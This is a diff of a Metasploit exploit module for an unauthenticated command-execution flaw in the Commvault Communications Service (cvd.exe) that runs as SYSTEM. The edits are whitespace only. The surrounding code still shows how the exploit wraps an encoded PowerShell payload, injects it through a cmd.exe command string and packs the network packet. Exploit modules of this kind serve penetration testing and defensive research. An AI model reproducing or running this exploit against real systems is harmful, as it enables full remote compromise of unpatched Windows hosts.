@@ -18,8 +18,8 @@ def initialize(info={})
18
18
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
19
19
and v10). The vulnerability exists in the cvd.exe service and allows an
20
20
attacker to execute arbitrary commands in the context of the service. By
21
- default, the Commvault Communications service installs and runs as SYSTEM in
22
- Windows and does not require authentication. This vulnerability was discovered
21
+ default, the Commvault Communications service installs and runs as SYSTEM in
22
+ Windows and does not require authentication. This vulnerability was discovered
23
23
in the Windows version. The Linux version wasn't tested.
24
24
} ,
25
25
'License' => MSF_LICENSE ,
@@ -48,7 +48,7 @@ def initialize(info={})
48
48
49
49
end
50
50
51
- def exploit
51
+ def exploit
52
52
53
53
buf = build_exploit
54
54
print_status ( "Connecting to Commvault Communications Service." )
@@ -64,14 +64,14 @@ def exploit
64
64
65
65
66
66
def build_exploit
67
-
67
+
68
68
#Get encoded powershell of payload
69
69
command = cmd_psh_payload ( payload . encoded , payload_instance . arch . first , encode_final_payload : true , method : 'reflection' )
70
70
#Remove additional cmd.exe call
71
71
psh = "powershell"
72
72
idx = command . index ( psh )
73
73
command = command [ ( idx ) ..-1 ]
74
-
74
+
75
75
#Build packet
76
76
cmd_path = 'C:\Windows\System32\cmd.exe'
77
77
msg_type = 9
@@ -87,7 +87,7 @@ def build_exploit
87
87
payload += '" && echo '
88
88
payload += "\x00 "
89
89
payload += [ zero ] . pack ( 'I>' )
90
-
90
+
91
91
#Add length header and payload
92
92
ret_data = [ payload . length ] . pack ( 'I>' )
93
93
ret_data += payload
0 commit comments